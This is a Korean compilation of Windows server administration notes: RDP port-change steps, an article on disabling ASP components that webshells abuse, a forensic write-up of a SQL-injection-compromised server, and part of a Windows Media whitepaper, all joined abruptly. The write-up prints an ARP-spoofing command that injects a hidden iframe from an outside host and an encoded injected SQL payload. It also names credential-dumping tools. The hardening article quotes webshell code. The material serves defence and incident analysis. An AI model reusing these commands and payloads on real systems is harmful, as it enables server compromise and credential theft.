- 새 연결을 이용해서 만든 아이콘을 클릭한후 파일 메뉴에서 내보내기를 누른다.
- 예로 "name" 이름을 지정하면 name.cns파일이 생성된다.
- name이 연결을 위해 사용하는 이름이다.
- name.cns 파일을 메모장으로 열고 편집을 Server Port=3389 에서 Server Port=6666 로 수정한다.
- 6666 이 터미널 서버에서 레지스트리 변경을 해서 새로 지정한 포트의 번호이다.
- 이제는 클라이언트 연결 관리자를 이용해서 변경한 name.cns파일을 가져오기를 한다.
- 클라이언트 연결도 관리자가 터미널 서버 세팅에서 변경한 포트와 같게 세팅된다.
Source from:[S.S.R.E.T]ServersTeam.Org [F.N.S.T]Fineacer.Org
url:http://www.Serversteam.org/docs/Microsoft_Win_ASP_Webshell_Security.htm
개요:본문에서는 Microsoft 윈도우 계열의SERVER (IIS5.0、IIS6.0)에서 간단하고 빠르게 ASP 위험성 있는 컨포넌트를 WEB서버 시스템으로부터 멀리하는 것을 설명한다. 본문을 읽는 후 자기가 관리하고 있는 서버를 asp 트로이잔, Webshell 권한상승 및 시스템 보안위협 등으로부터 벗어날 수 있다.
본문:
주의:본문에서 언급된 설정방법 및 설정환경은:Microsoft Windows 2000 Server/Win2003 SERVER | IIS5.0/IIS6.0에 적용함.
1、우선 일반적인ASP트로이잔을 살펴본다, Webshell에서 사용한 ASP 컨포넌트는 아래와 같다. 중국산 webshell인 HY2006를 예를 들어보면,
<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
shellStr="Shell"
applicationStr="Application"
if cmdPath="wscriptShell"
set sa=server.createObject(shellStr&"."&applicationStr)
set streamT=server.createObject("adodb.stream")
set domainObject = GetObject("WinNT://.")
이상은 HaiYang webshell의 일부 소스다, webshell에서는 아래 여러 종류의 ASP컨포넌트를 사용하고 있는 것을 알 수 있다.
① WScript.Shell (classid:72C24DD5-D70A-438B-8A42-98424B88AFB8)
② WScript.Shell.1 (classid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B)
③ WScript.Network (classid:093FF999-1EA0-4079-9525-9614C3504B74)
④ WScript.Network.1 (classid:093FF999-1EA0-4079-9525-9614C3504B74)
⑤ FileSystem Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228)
⑥ Adodb.stream (classid:{00000566-0000-0010-8000-00AA006D2EA4})
⑦ Shell.applicaiton....
2: 해결방법:
① 아래 위험성 있는 ASP 컨포넌트를 삭제 혹은 명칭을 변경한다.
WScript.Shell、WScript.Shell.1、Wscript.Network、Wscript.Network.1、adodb.stream、Shell.application
[시작->실행->Regedit]을 실행하여 레지스토리를 수정한다. “Ctrl+F”으로 찾기를 실행한다. 순서대로 위에 Wscript.Shell등 컨포넌트의 명칭 혹은 그와 매칭한 ClassID을 입력한다. 해당 명칭을 삭제하거나 변경한다. (여기서 명칭변경을 권장한다. 만약 일부 웹 페이지의ASP프로그램에서 위에 열거한 컨포넌트를 사용했다면, ASP코드작성시 수정된 컨포넌트의 명칭을 사용하면 모든 것이 정상적 사용을 가능하다. 만약 ASP프로그램에서 이상의 컨포넌트를 사용하지 않는다면 삭제하는 것이 좋다. 삭제 혹은 명칭 변경 후, iisreset으로 IIS재 동작 후 적용한다.)
[주의:Adodb.Stream 컨포넌트는 많은 사이트에서 사용하기 때문에 만약 서버가 Virtual machine 이면 상황에 따라 조치 바람.]
② File System Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228) 보안 문제에 대해 만약 서버에서 FSO를 사용해야 한다면(일부 Virtual Machine에서는 FSO기능을 사용함), FSO보안 해결방법은 “Microsoft Windows 2000 Server FSO 安全隐患解决办法” 문서를 참고하시길 바란다. 사용할 필요 없는 경우 직접 사용중지 하면 된다.
③ 사용중지 혹은 위험성 있는 컨포넌트를 삭제하는 방법:(방법① 및 방법②를 번거롭다고 생각하는 분은 본 방법을 참고함.)
wscript.shell 오브젝트를 해제하는 방법은 아래와 같다. cmd 모드에서[:regsvr32 /u %windir%\system32\WSHom.Ocx]를 실행한다.
FSO 오브젝트를 cmd 에서 아래 내용을 실행하여 해제한다. [regsvr32.exe /u %windir%\system32\scrrun.dll]
stream 오브젝트의 해제는 cmd에서 [regsvr32 /s /u "C:\Program Files\Common Files\System\ado\msado15.dll" ]를 실행한다.
만약 실행취소를 원한다면 위에 명령에 [/U] 옵션만 제거하면 된다. 즉, 관련 ASP컨포넌트를 재실행 가능하다. 예를 들면, regsvr32.exe %windir%\system32\scrrun.dll
④ Webshell 중에 set domainObject = GetObject("WinNT://.")을 사용하여 서버 프로세스, 서비스 및 사용자 정보 등을 획득하는 것에 대한 예방 방법은 아래와 같다. 서비스 중의 Workstation[네트워크 연결 및 통신을 제공함] 즉, Lanmanworkstation서비스를 중지하면 문제해결 된다. 이렇게 처리하면 Webshell 프로세스를 디스플레이 하는 곳에 공백으로 표시된다.
3 위에 방법1、2에 따라 ASP관련 위험한 컨포넌트에 대해 처리 후, Ajiang asp probe으로 테스트하면,"서버CPU상세내역" 및 "서버운영체제"를 찾을 수 없으며 내용은 모두 공백으로 디스플레이 된다. HaiYang을 사용하여 Wscript.Shell를 테스트 하면, cmd commend line에서 Active를 만들 수 없다는 메시지가 디스플레이 된다. ASP 트로이잔이 서버 시스템에 대한 보안 위협을 완화할 수 있다.
본문에서 소개한 내용은 단지 본인이 ASP트로이잔、Webshell에 대한 소견뿐이다. 향후 여러분께 어떻게 간단하게 타인 컴퓨터에 net user 와 같은 명령의 실행을 방지하고, 버퍼 오버플로우를 통해 cmdshell 획득을 방지 및 사용자 추가의 방지, NTFS 설정권한에서 터미널 서비스 등록 등에 대한 간단하고도 효과적인 방어방법을 소개할 예정이다.
저자: 李泊林/LeeBolin
[S.S.R.E.T 服务器安全研究专家小组 CTO] Http://www.serversteam.org
[F.N.S.T 情长计算机网络安全在线 技术顾问] Http://www.fineacer.org
E-mail:leebolin#serversteam.org QQ:24460394 본문관련 질문 사항은 메일 혹은 QQ에 연락하시길 바람
윈도우에서 구동되는 포트번호로 구분된 네트워크 서비스와 윈도우 서비스로 관련 윈도우 서비스를 제어판에서 중지시킨다면 관련 포트번호를 차단할 수 있다. 임시방편으론 "%SystemRoot%system32driversetc" services파일에 주석처리로 해당 포트를 disable시킬 수 있다.
|
다음 관련 데이터 및 로그는 실제 Sql Injection 해킹된 서버에서, 해당 서브넷에서 Arp Spoofing 시도를 위한 일부 입니다. 이와 관련된 해킹 방어 대책은 인터넷에 수없이 공개되어 있으므로 참고만...^^
DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=388
공개용 웹 방화벽 프로그램을 이용한 홈페이지 보안 - krcert
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=312
해킹, 악성코드등 보안 점검 자료 및 정보
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=310
Sql Injection 침해 흔적을 통한 보안점검
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=281
DTS패키지는, 데이터 원본(ODBC) 에 등록된 해당 프로바이더 연결을 이용하여 쿼리 데이터를 텍스트 파일 형식의 .asp 파일로 저장.
보통 주로 C:\ 루트나, 해당 웹사이트 루트 또는 특정 폴더 생성이나 이미 있는 폴더내에 생성하는 경우가 많으며 확장자는 주로 1.asp, 2.asp, 111.asp 등의 파일명 패턴을 가지고 있음.
'xpsqlbot.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_qv'을(를) 실행합니다.
'xpstar.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_ntsec_enumdomains'을(를) 실행합니다.
'xplog70.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_msver'을(를) 실행합니다.
이벤트 형식: 정보
이벤트 원본: MSSQLSERVER
이벤트 범주: (2)
이벤트 ID: 17055
설명:
8128 :
'odsole70.dll' 버전 '2000.80.2187'을(를) 사용하여 확장 저장 프로시저 'sp_OACreate'을(를) 실행합니다.
특정 OLE 개체의 인스턴트를 만들기 위해서 'sp_OACreate' 확장 저장프로시져를 호출
이벤트 형식: 오류
이벤트 원본: MSSQLSERVER
이벤트 범주: (6)
이벤트 ID: 17055
설명:
3041 :
BACKUP이 실패하여 'Select Count(*),CEILING(CAST(Count(*) AS FLOAT)/16) FROM xxx.xxxx A inner join xxxx.xxxx B on A.no = B.no Where B.Pt is not null And B.Category = '24';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C0057005700
57005F0052004F004F0054005C007300730068006F00770071007500650065006E0
02E0063006F006D005C0031003200330
02E00610073007' 명령이 완료됩니다.
zxarps.exe -idx 0 -ip 120.xxx.xxx.xxx,120.xxx.xxx.xxx -port 80 -insert "<iframe src=http://mail.xxxxx.co.kr/help/i.htm width=0 height=0 ></iframe>"
1.bat
addins.zip
cmd.bat
WinPcap_4_1_beta.exe
zxarps.exe
해당 서버에는 Arp Spoofing 을 위해서 관련 툴을 다운로드. zxarps 툴은 해당 서브넷의 게이트웨이를 점유해서 서브넷내의 웹서버에서 클라이언트로 다운로드 되는 웹페이지 상단에 iframe 을 삽입함. 이전의 해당 웹서버의 index.asp 파일등을 변조하는 것보다 훨씬더 효과가 큼.
\system32
packet.dll
wanpacket.dll
wpcap.dll
\1025\sam\gethashes.exe
\1025\sam\getsyskey.exe
\1025\sam\saminside.exe
\sql server\mssql\bin
xp_nped.dll
시스템 폴더 및 SQL Server 폴더에 추가적인 해킹 및 Arp Spoofing 툴이 설치되는데, 중국어권 에서는 Arp Spoofing 툴로 매우 유명한 zxarps.exe 툴이 설치되어 있으며 해당 폴더에는 윈도우계정 생성 및 Arp Spoofing 를 위한 패킷 드라이버인 WinCap 이 설치됨.
C:\WINDOWS\system32\1025\Cain 디렉터리
2007-12-09 오전 12:07 <DIR> .
2007-12-09 오전 12:07 <DIR> ..
2007-12-09 오전 12:03 0 80211.LST
2007-10-09 오후 06:06 30,720 Abel.dll
2007-10-09 오후 06:14 66 Abel.dll.sig
2007-10-09 오후 06:13 27,648 Abel.exe
2007-10-09 오후 06:14 66 Abel.exe.sig
2007-10-09 오후 06:13 989,184 Cain.exe
2007-10-09 오후 06:14 66 Cain.exe.sig ......
주로 시스템의 계정 해킹에 이용되는 툴중에 매우 공개된 강력한 툴인 Cain & Abel 이 추가적으로 설치됨. 웹사이트: http://www.oxid.it
[서비스]에는 Remote Packetk 이 설치됨.
실행파일은 C:\WINDOWS\system32\Seveer.exe
C:\Documents and Settings\field\바탕 화면\xc02.exe
Remote Packetk 에 관련된 자료가 거의 없어서 정확이 어떤 역할을 하기 위해서 설치를 한것 인지는 모르겠으나, 원격 명령 또는 관리를 위해서 설치한 툴로 추정됨.
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]
"F"=hex:02,00,01,00,00,00,00,00,82,43,b8,5d,03,39,c8,01,00,00,00,00,00,00,00,\
00,06,95,e2,6f,66,a6,c7,01,00,00,00,00,00,00,00,00,7a,b5,49,46,9c,39,c8,01,\
f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,69,00,01,00,00,00,00,\
00,00,00,00,00,00,00 ........
윈도우 계정 생성을 위한 레지스트리 등록하며, 계정명은 주로 Field 임.
출처:
=================================================
Windows Media Technologies에 대한 유용한 정보
운영 체제
백서
요약
이 백서에서는 Microsoft Windows Media Technologies 구현을 위한 유용한 정보를 설명합니다. 프로토콜, 인코더 구성과 기술, 서버 구성과 조정, 멀티캐스트 배포 사용 및 로깅을 설명합니다.
Microsoft Windows Media Technologies는 Windows 2000 운영 체제의 일부로서 배포됩니다. 이로서 스트리밍 미디어 파일을 작성, 배포 및 재생할 수 있습니다. IT 전문가의 경우 Windows 2000 Professional과 Windows 2000 Server를 모두 최적의 성능으로 구성하는 방법과 네트워크를 통해 파일을 배포하는 방법을 이해해야 합니다.
그림 1은 스트리밍 미디어 전송에 사용되는 구성 요소를 나타낸 것입니다.
그림 1 Windows Media Technologies 전송 구성 요소
이 백서는 네트워크를 통한 스트리밍 미디어의 인코딩, 서비스 제공 및 전송에 대한 구성 요소를 설명하며 다음과 같은 내용을 다룹니다. 다음과 같은 정보가 포함되어 있습니다.
이 백서에서는 독자가 기본적으로 WMT와 네트워킹 프로토콜을 알고 있다고 가정합니다.
> Windows Media Technologies는 Windows Media Server(MMS)라고 하는 응용 프로그램 수준의 프로토콜을 사용하여 인터넷과 인트라넷을 통해 ASF(Active Streaming Format) 파일을 전송합니다. 스트리밍 ASF 파일을 가리키는 URL에는 다음 예에서 볼 수 있는 것처럼 프로토콜로 사용하는 MMS가 포함됩니다.
mms://servername/filename.asf
MMS 프로토콜은 자동으로 다음과 같은 순서로 스트리밍 미디어를 위한 최적의 전송을 찾습니다.
UDP 프로토콜은 배달을 보장하지 않기 때문에 실시간 미디어에 이상적인, 연결 없는 전송 계층 프로토콜입니다. 이 표현이 장점이라기보다는 단점으로 들릴지 모르지만 스트리밍 미디어에는 특히 적합한 특성입니다. 전송 시간에 관계 없이 전체 내용이 배달되어야 하는 파일이나 전자 메일과 같은 데이터와 달리 스트리밍 미디어 데이터의 값은 시간의 제약을 받습니다. 비디오 프레임이 손실되면 정확한 시간 프레임 내에 도달하지 않으므로 쓸모가 없는 데이터가 됩니다. 이 데이터를 다시 전송한다는 것은 대역폭을 낭비하는 것입니다. 전송 프로토콜로 UDP만 사용하도록 지정할 수 있습니다. 이렇게 하려면 다음과 같은 구문을 사용하십시오.
mmsu://servername/filename.asf
UDP의 단점은 회사 방화벽을 통과하지 못할 수 있다는 것입니다. UDP를 통해 스트리밍 ASF 파일을 받아 들이도록 방화벽을 구성하는 방법에 대한 자세한 내용은 다음을 참조하십시오.
MS DTC 방화벽 문제 해결
다음 선택인 TCP는 가장 많이 사용되는 인터넷 전송 프로토콜입니다. 데이터를 다시 전송하려 한다는 것과 이 프로토콜 역시 회사의 방화벽을 통과하지 못할 수 있다는 것이 TCP의 단점입니다. TCP와 방화벽에 대한 자세한 내용은 앞에서 설명한 기사를 참조하십시오. 전송 프로토콜로 TCP만 사용하도록 지정하는 구문은 mmst://servername/filename.asf입니다.
마지막 선택은 HTTP입니다. HTTP는 스트리밍 미디어를 위해 고안된 것이 아니며 전송 프로토콜이 아닌 응용 프로그램 계층 프로토콜이지만 방화벽을 통과할 수 있습니다. 웹을 탐색할 수 있는 모든 사람이 HTTP를 통해 스트리밍 파일을 받을 수 있습니다. HTTP만 사용하도록 지정하는 구문은 http://servername/filename.asf입니다.
ASX 파일 사용ASX 파일은 웹 페이지를 ASF 파일에 연결합니다. 웹 사이트에 액세스하는 모든 클라이언트가 Microsoft Internet Explorer를 실행하는 경우가 아니라면 HTML 페이지에서 직접 MMS 경로를 참조해서는 안됩니다. 다른 브라우저는 프로토콜을 이해하지 못하며 프로토콜이 발생해도 무시하기 때문입니다. 대신 스트리밍 미디어 파일을 가리키는 ASX 파일을 참조합니다.
다음은 간단한 ASX 파일의 예입니다.
<ASX version="3.0" > <Entry > <ref HREF=" mms://servernane/filename.asf "/> </Entry > </ASX > ASX 파일을 만든 다음 HTTP나 네트워크 서버에서 호스팅합니다. ASX 파일을 연결하려면 다음과 같이 HTML 페이지에서 표준 <A HREF> 태그를 사용합니다.
<a href="http://servername/path/asxname.asx">설명</a>
사용자가 ASX 파일에 대한 링크를 선택하면 브라우저에서 ASX 파일을 다운로드합니다. ASX 파일은 작습니다. 시스템은 파일 연결 테이블에서 ASX 확장명을 찾아 Windows Media Player를 시작합니다. 그 다음 Windows Media Player는 ASX 파일에서 ASF 파일의 위치를 찾은 다음 스트림을 시작합니다. ASX 파일 작성에 대한 자세한 내용은 MSDN Online Web Workshop 의 설명서를 참조하십시오.
Windows Media 인코더는 AVI, MP3 또는 WAV 형식일 수 있는 디지털 형식의 미디어 파일을 압축하여 Windows Media Player가 사용하는 ASF 형식으로 변환합니다. 인코더는 실시간 이벤트나 저장된 파일에 사용할 수 있습니다. 인코딩은 CPU를 많이 사용하는 작동이므로 Windows Media 서비스를 실행하는 컴퓨터가 아닌 별도의 컴퓨터에서 인코더를 사용하는 것이 좋습니다. 이 절에서는 인코더 사용과 관련된 다음과 같은 문제를 설명합니다.
컴퓨터 하드웨어 구성모든 상황에 적합한 단일 구성은 없습니다. 새 하드웨어를 구입하기 전에 고속 동작 비디오를 녹화할 것인지 또는 저속 동작 비디오를 녹화할 것인지 결정해야 합니다. 저속 동작의 예는 대화 중인 얼굴을 들 수 있습니다. 이 경우에는 처리 능력이 그렇게 많이 필요하지 않습니다. 고속 동작의 예는 뮤직 비디오와 같이 빠른 내용 변경이 많은 비디오를 들 수 있습니다. 이 경우에는 더 많은 처리 능력이 필요합니다.
CPU 선택일반적으로 하나의 Pentium II 프로세서가 모든 비디오를 최대 300Kpbs(경우에 따라 500Kbps)의 대역폭으로 실시간 인코딩을 수행할 수 있습니다. 최대 1Mbps의 대역폭에는 Pentium III나 동급의 프로세서를 사용해야 합니다. 더 높은 비트 속도가 필요한 경우(Microsoft CODEC은 실시간 인코딩을 최대 5Mbps까지 확장 가능)에는 프로세서를 하나 더 사용합니다. 일반적으로 새 장치를 구입한다면 Pentium III나 동급의 프로세서가 장착된 컴퓨터를 구입하도록 하십시오. 현재 그러한 처리 능력이 필요하지 않아도 앞으로 필요하게 될 것입니다.
메모리 추가보통 인코딩에는 64MB의 메모리가 최적의 용량입니다. 버퍼링이 발생하지 않으며 운영 체제와 응용 프로그램만 로딩하면 되므로 대용량 메모리는 필요하지 않습니다. 성능 도구를 사용하여 시스템이 디스크 페이징을 사용하지 않게 하십시오. 페이징을 사용하면 성능에 나쁜 영향을 미치게 됩니다. 성능 도구에 액세스하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 성능을 누릅니다.
사용 가능한 메모리를 확인하려면 MemoryAvailable Bytes 카운터를 추가합니다. 발생하는 페이징 양을 확인하려면 MemoryPages/sec 카운터를 추가합니다. 두 카운터 모두 Memory 머리글 아래에 있습니다. 그림 2는 카운터 추가의 예를 나타낸 것입니다.
그림 2 Pages/sec 카운터 추가
그림 3은 이들 카운터와 함께 사용 중인 프로세서 시간 양을 나타낸 것입니다.
그림 3 성능 모니터의 예
MemoryAvailable Bytes 카운터는 현재 프로세서가 사용할 수 있는 메모리의 양을 바이트 단위로 나타냅니다. 이 숫자는 항상 4MB 이상이어야 합니다. MemoryPages/sec 카운터는 페이지 오류 때문에 디스크에서 검색되거나 공간을 늘리기 위해 디스크로 쓴 페이지 수를 나타냅니다. 성능 도구에 대한 자세한 내용은 해당 도움말 파일을 참조하십시오.
디스크 드라이브 추가디스크 드라이브는 데이터가 들어오는 즉시 캡처하고 저장해야 하기 때문에 병목 지점이 될 수 있습니다. 드라이브의 데이터 전송 속도가 너무 느리면 데이터가 손실되고 스트림의 품질이 떨어질 수 있습니다. 300Kbps에서 500Kbps까지의 인코딩 속도에는 SCSI 드라이브를 사용하십시오. 이보다 빠른 속도에 대해서는 RAID 레벨 0 디스크 배열을 고려하십시오.
운영 체제 선택Windows Media 인코더는 Windows 2000 Professional과 Windows 2000 Server에서 모두 실행할 수 있지만 포그라운드 응용 프로그램에 우선 순위가 부여되는 Professional을 사용하는 것이 좋습니다.
비디오 캡처 카드 선택Windows Media Technologies와 호환되는 비디오 캡처 카드의 목록을 보려면 다음 주소에서 "Windows Media Hardware Providers" 웹 페이지를 참조하십시오.
http://www.microsoft.com/Korea/windows/windowsmedia/serve/encoding.asp
비디오 카드 중 일부만 두 운영 체제와 모두 호환되기 때문에 Windows 2000 운영 체제와 호환되는 카드 목록 대신 이 목록을 사용해야 합니다. 가장 많이 사용되는 비디오 캡처 카드는 Viewcast.com의 Osprey 100입니다. 이 카드는 오디오는 캡처하지 않지만 Osprey 100와 사운드 카드의 동기화에 있어 어떤 문제도 보고되지 않았습니다. 자세한 내용은 다음 웹 사이트를 참조하십시오.
http://www.vccsales.com/
사운드 카드 선택단일 오디오 스트림을 인코딩할 경우, Soundblaster Live와 같은 스테레오 사운드 카드를 선택합니다. 최소한 Soundblaster16이나 호환 카드를 사용해야 합니다. Windows 2000 운영 체제용으로 승인된 사운드 카드를 알고 싶으면 Windows 하드웨어 호환성 목록을 참조하십시오. Windows 2000과 호환되는 모든 사운드 카드는 Windows Media Technologies와 호환됩니다. 하드웨어 목록은 다음 웹 페이지를 참조하십시오.
http://www.microsoft.com/hcl/default.asp
이 절에서는 오디오와 비디오 인코딩 및 자동 인코딩 설정을 위한 기술을 설명합니다. 명백하게 알 수 있는 차이점 이외에 오디오와 비디오 인코딩 사이의 한 가지 차이점은 비디오 파일이 오디오 파일은 포함할 수 없는 다중 비트 전송률을 포함할 수 있다는 것입니다. 다중 비트 전송률을 사용하면 Windows Media Player가 사용자 네트워크 연결의 품질과 속도에 가장 적합한 비트 전송률을 선택하여 변화하는 네트워크 조건에 적응할 수 있습니다. 귀는 눈보다 훨씬 인식력이 높으며 눈이 비디오 스트림 대역폭 변화를 알아보는 것보다 귀가 오디오 스트림에 대한 변화를 쉽게 느낄 수 있으므로 이러한 것은 오디오 파일에서는 수행할 수 없습니다.
다중 오디오 스트림 인코딩여러 오디오 스트림을 동시에 인코딩하는 것은 일반적인 상황입니다. 대표적인 예는 온라인으로 방송하는 여러 라디오 방송을 인코딩하는 것입니다. 다중 오디오 스트림을 인코딩하려면 단일 시스템에서 동시에 여러 인코더를 사용하고 실행합니다. 인코더는 CPU를 많이 사용하기 때문에 가능하다면 Pentium III를 사용하십시오.
다중 오디오 스트림을 인코딩하기 위해 또 다른 중요한 고려 사항은 사운드 카드입니다. 단일 시스템에서 다수의 Soundblaster 카드를 사용할 때 문제를 경험한 고객이 많이 있습니다. 대신 슬롯은 하나지만 포트가 여러 개 있는 사운드 카드를 설치합니다.
다중 대역폭 비디오 스트림 인코딩Windows Media Technologies에는 네트워크 연결 속도를 검색하고 변화하는 네트워크 조건을 조정하며 자동으로 진행 중인 비디오 스트림 품질을 개선할 수 있는 지능적 스트리밍 기능이 있습니다. 현재의 Windows Media Technologies 버전 4.0에서 지능적 스트리밍은 다음과 같은 기능을 포함합니다.
자동 인코딩자동 인코딩은 시스템이 부팅되고 사용자가 로그온하면 자동으로 인코더가 시작하는 것을 의미합니다. 프로덕션 서비스가 온라인이고 지속적으로 실행되는 경우에 자주 사용됩니다. 자동 인코딩을 사용하려면 작업 표시줄 및 시작 메뉴 등록 정보 창을 사용하여 바로 가기를 만듭니다. 이 창을 열려면 시작 메뉴에서 설정을 가리키고 작업 표시줄 및 시작 메뉴를 누릅니다. 그림 4는 이 메뉴의 예를 나타낸 것입니다.
그림 4 작업 표시줄 및 시작 메뉴 등록 정보 창
추가를 누르고 바로 가기 만들기 텍스트 상자에 다음과 같이 입력합니다.
NsRex filename.asd /start
인코더 이름은 NsRex이며 filename은 인코더 구성을 저장하는 ASD(Advanced Stream Descriptor) 파일을 의미합니다. 여기에는 사용할 CODEC, 창의 크기, 비디오에 대한 프레임 속도와 I 프레임 수 등에 대한 정보가 포함됩니다. /start 옵션은 사용자가 로그온하면 인코딩이 시작된다는 것을 의미합니다. 이 프로세스를 완전히 자동화하려면 자동 로그온을 사용하여 이름이나 암호를 입력하지 않아도 되도록 만듭니다. 그림 5는 예를 나타낸 것입니다.
그림 5 프로그램을 위한 타이틀 선택
이 예제에서 인코더는 stereo28.8이라는 이름의 .asd 파일을 사용합니다.
이 절에서는 Windows Media 서비스를 실행하도록 컴퓨터를 구성하는 방법, 가장 뛰어난 성능을 활용할 수 있도록 서버를 조정하는 방법 그리고 서버의 보안을 유지하는 방법에 대해 설명합니다. 먼저 서버의 하드웨어 구성에 대해 설명합니다.
컴퓨터 하드웨어 구성CPU를 많이 사용하는 인코더와는 달리 서버는 I/O를 많이 사용합니다. 서버의 병목 지점은 네트워크 인터페이스 카드(NIC), 디스크 시스템의 순서로 발생합니다. CPU와 메모리는 3번째와 4번째의 병목 지점이지만 발생하는 경우는 거의 없습니다. 이 절에서는 Windows Media Server를 위한 최적의 하드웨어 구성에 대해 설명합니다.
CPU와 메모리 선택수천 개의 동시 연결을 처리하는 일반적인 Windows Media Server의 경우, Intel Pentium II 또는 동급의 프로세서를 사용하십시오. 서버가 2,000개 또는 3,000개의 동시 연결을 처리하지 않는 한 다중 프로세서는 필요하지 않습니다. 여기에서 각 연결은 20Kbps입니다. 비트 전송률이 높아지면 서버가 처리할 수 있는 동시 연결의 수가 적어집니다. 최대의 동시 연결을 처리하려면 다중 프로세서를 사용하십시오. 단일 프로세서 시스템의 경우, 256MB 메모리가 최적입니다. 다중 프로세서 시스템의 경우, 적어도 512MB를 사용합니다. 서버의 구성과 서버의 수요에 따라 메모리가 더 필요할 수 있습니다. 스트레스 상태의 서버 작동에 대해 알고 싶다면 이 백서의 뒷부분에서 설명하는 Windows Media Load Simulator를 사용합니다.
네트워크 인터페이스 카드 선택라이브 이벤트의 경우, 인코더와 서버 간을 고속으로 연결하는 것이 특히 중요합니다. 이 연결이 마스터 공급입니다. 충분한 대역폭을 사용할 수 없다면 마스터 신호의 품질이 떨어지고 그 결과 사용자는 낮은 품질을 전송 받게 될 것입니다. 네트워크 인터페이스 카드(NIC)의 경우, 고속 이더넷(100Mbps) 또는 10/100 교환 이더넷을 사용합니다. 교환 이더넷은 패킷을 10Mbps 공유 세그먼트에서 100Mbps로 실행되는 워크스테이션 또는 LAN 세그먼트로 전송합니다. 따라서 10Mbps에서 실행되는 다중 종단 스테이션이나 작업 그룹을 100Mbps에서 실행되는 서버에 연결할 수 있습니다.
T3 회선 용량 두 개를 모두 사용하는 4,000개의 동시 연결을 처리하려면 NIC를 하나 더 추가하여 인코더와 서버 사이에 별도의 연결을 만드는 것을 고려하십시오. 네트워크 연결이 모두 포화 상태인 경우에도 마스터 공급은 영향을 받지 않으며 성능이 저하되지 않습니다. 네트워크 카드는 데이터를 동시에 전송하고 수신할 수 있는 전이중으로 구성되어야 합니다.
디스크 드라이브 선택서버 성능이 좋으려면 빠른 디스크 드라이브가 필수적입니다. Windows Media Server의 확장성이 디스크 배열의 성능에 의해 제한되는 경우가 많습니다. 동시 연결의 수가 많은 경우에는 RAID 구성의 다중 하드 디스크를 사용하는 것이 좋습니다. 고속 데이터 전송 속도 때문에 SCSI, 파이버 채널(아래 내용 참조)과 같은 인터페이스를 고려해야 하지만 가장 적합한 구성을 결정하려면 선호하는 하드웨어 공급업체와 협의하십시오.
더 많은 파일이 사용되거나 사용할 수 있는 캐시가 적어지면(또는 두 경우 모두) 디스크 속도 요구 사항도 증가합니다. Windows Media Server는 캐싱을 사용하지 않는다는 것에 주의하십시오. 따라서 디스크 컨트롤러 자체에 캐싱이 있지 않는 한 데이터를 요구하는 각 읽기는 명시적으로 실제 디스크에서 데이터를 가져옵니다.
ASF 루트 디렉터리를 시스템 드라이브에 저장해서는 안됩니다. 그렇게 하면 시스템 드라이브에서 집중적인 작업과 디스크 스와핑이 발생할 수 있습니다. 또한 사용자가 여러 다른 경로를 통해 연결할 수 있도록 대단히 많이 사용되는 컨텐츠는 복제하여 여러 드라이브에 저장합니다. 경험에 의하면 하나의 디스크로 약 500개의 28.8Kbps 연결을 지원할 수 있습니다.
서버를 구성하였으면 성능 모니터와 함께 Windows Media Load Simulator를 사용하여 메모리 페이징과 프로세서 시간 등의 병목 상태를 검색할 수 있습니다. 서버가 로드를 처리하지 못할 경우, 하드웨어를 추가하거나 서버를 하나 더 추가합니다.
저장소 영역 네트워크고속 출력과 확장성이 중요한 대형 사이트를 관리하는 IT 관리자의 경우, 저장소 영역 네트워크(SAN)를 고려할 수도 있습니다. SAN은 저장소 전용 네트워크입니다. SAN은 RAID 디스크 배열, 디스크 드라이브 및 테이프 드라이브와 같은 저장 장치와 서버를 고속으로 상호 연결합니다. SAN은 높은 대역폭을 제공하는 것 이외에도 모든 저장 I/O를 네트워크의 별도 구역으로 격리하여 다른 네트워크 소통량이 I/O의 영향을 받지 않게 합니다.
SAN의 기본 네트워크 인프라를 Fibre Channel Arbitrated Loop(FC-AL)라고 합니다. 이 인프라는 양방향 지점간 직렬 데이터 채널을 위해 고안된 산업 표준 고속 인터페이스입니다. 이것은 100MB/s 이상의 속도로 최대 10km의 거리까지 시스템을 연결할 수 있습니다.
파이버 채널은 다중 프로토콜을 지원하여 동일한 케이블을 통해 TCP/IP 및 SCSI와 같은 프로토콜을 동시에 실행할 수 있습니다. 하나의 루프에 최대 126개의 노드를 연결할 수 있습니다. FC-AL 인터페이스를 지원하는 하드 드라이브의 예로는 Seagate의 Barracuda 및 Cheetah 드라이브가 있습니다. 이들 드라이브에 대한 자세한 내용은 아래의 웹 사이트를 참조하십시오.
http://www.seagate.com
서버 조정 성능서버의 성능을 개선할 수 있는 작업에는 다음과 같은 다양한 작업이 포함됩니다.
